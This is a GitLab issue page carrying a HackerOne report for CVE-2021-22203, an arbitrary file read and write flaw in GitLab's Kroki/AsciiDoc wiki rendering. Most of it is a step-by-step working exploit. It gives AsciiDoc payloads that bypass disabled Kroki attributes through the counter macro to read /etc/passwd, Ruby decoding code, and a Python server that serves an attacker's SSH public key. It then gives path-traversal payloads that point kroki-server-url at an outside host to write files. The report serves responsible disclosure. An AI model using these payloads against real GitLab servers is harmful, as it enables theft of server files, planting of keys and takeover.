Headline
CVE-2021-22203: Kroki Arbitrary File Read/Write (#320919) · Issues · GitLab.org / GitLab · GitLab
An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.7.9 before 13.8.7, all versions starting from 13.9 before 13.9.5, and all versions starting from 13.10 before 13.10.1. A specially crafted Wiki page allowed attackers to read arbitrary files on the server.
HackerOne report #1098793 by ledz1996 on 2021-02-08, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report****Summary
In short, I’ve found a potentially weird bug in asciidoctor that could lead to arbitrary file read/write in asciidoctor-kroki even though Gitlab have already made an attempt to disable kroki-plantuml-include
lib/gitlab/asciidoc.rb
module Gitlab
# Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
# the resulting HTML through HTML pipeline filters.
module Asciidoc
MAX_INCLUDE_DEPTH = 5
MAX_INCLUDES = 32
DEFAULT_ADOC_ATTRS = {
'showtitle' => true,
'sectanchors' => true,
'idprefix' => 'user-content-',
'idseparator' => '-',
'env' => 'gitlab',
'env-gitlab' => '',
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
'max-include-depth' => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
# This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''
However this could easily be bypassed by using counter
https://github.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb
def counter name, seed = nil
return [@]parent_document.counter name, seed if [@]parent_document
if (attr_seed = !(attr_val = [@]attributes[name]).nil_or_empty?) && ([@]counters.key? name)
[@]attributes[name] = [@]counters[name] = Helpers.nextval attr_val
elsif seed
[@]attributes[name] = [@]counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
[@]attributes[name] = [@]counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end
Steps to reproduce
Set up Gitlab with Kroki: https://docs.gitlab.com/ee/administration/integration/kroki.html
Arbitrary FIle ReadCreate a project, create a wiki page with asciidoctor format and the following as payload
[#goals]
[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
…
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlockBlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
…Get the base64 part of the URL of the image when being rendered
Use the following code to decode the last part of the URL to get the content of file /etc/passwd
require ‘base64’
require ‘zlib’
test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
Video:
Screen_Recording_2021-02-09_at_04.27.43.mov
Arbitrary FIle Write
Create a project, create a wiki page with asciidoctor format and the following as payload
[#goals]
:imagesdir: .
:outdir: /tmp/[plantuml]
…
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlockBlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
…Note in the URL there is a base64 value, copy this value
Set up a server with the address that is being appended as kroki-server-url, I used this scriptto serve a public-key file with any URL.
/// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write(b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEY+UcYlP8VzOBdyMGUpbVFMsAUxPjWK7OiqARu/t3wO1mSNJ/RE5eaNLz5+6zM2WllUVrYF3cDXqNxge4srScM/v887Lz8mAupAZoPunxHrSTWFHjbCBaGm80z8QyStG+GMM/iN+mu4FtQ+ckMfOA8T/9k3clK3HomQXunJe85a6MPDsgE5MvEm4MdBUKQpEaEbstmAWtQIR5KCMHyNDa9WVKQQI+TJwAMpVa3L+Lbx4TZd04Fl5uKmCYUfPfBvj1/209s1XDN2rAK3AKJjAEbPVuLcZrl9iAse0FgA6HvUtA+g21VLba5OASXU/ZsedRmzECefMu8RVKHPzaaiC+RQU+1ihgBnQig0MdaXz8PZLOCo/673Pg9nsqjNafeU7fGTJD95BkkDL/3OfIEBq+rMbOyxrU+k8H+QWeVCbvh2LWRxdy/xciOMkkdodm2eGg45kJNjoDeKJEp0YpQ9ha+PdsqQqENAbqFqmYheAy1KJcpbG+U6Uik4hVXHxTAu0= [email protected]")
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('0.0.0.0', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
Note the URL and edit the following script to create a SHA256 of the URL
require ‘digest’
require ‘base64’
require ‘zlib’string = “http://192.168.69.1:8082/plantuml/…/…/…/…/…/…/tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==”
p “diag-#{Digest::SHA256.hexdigest test = string}”
Create a project, create a wiki page with asciidoctor format and the following as payload for the first time, replace the diag-**. with the diag-<output_previous>., Please take note of the last .
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/…/…/…/…/…/…/tmp/test_file_write.txt"]
…
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlockBlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
…
Save then render
Repeat the previous step with this payload
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/…/…/…/…/…/…/tmp/test_file_write.txt"]
…
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlockBlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
Save then render again
- You are able to write to any files. You can check this by simply navigate to the file using the Gitlab box
Video:
Screen_Recording_2021-02-09_at_05.15.11.mov
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.1
Redis Version: 5.0.9
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.7.4-ee
Revision: 368b4fb2eee
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL: http://gitlab3.example.vm
HTTP Clone URL: http://gitlab3.example.vm/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: yes
Geo node: Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.14.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
File read/write access, RCE
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- Screen_Recording_2021-02-09_at_04.27.43.mov
- Screen_Recording_2021-02-09_at_05.15.11.mov
How To Reproduce
Please add reproducibility information to this section: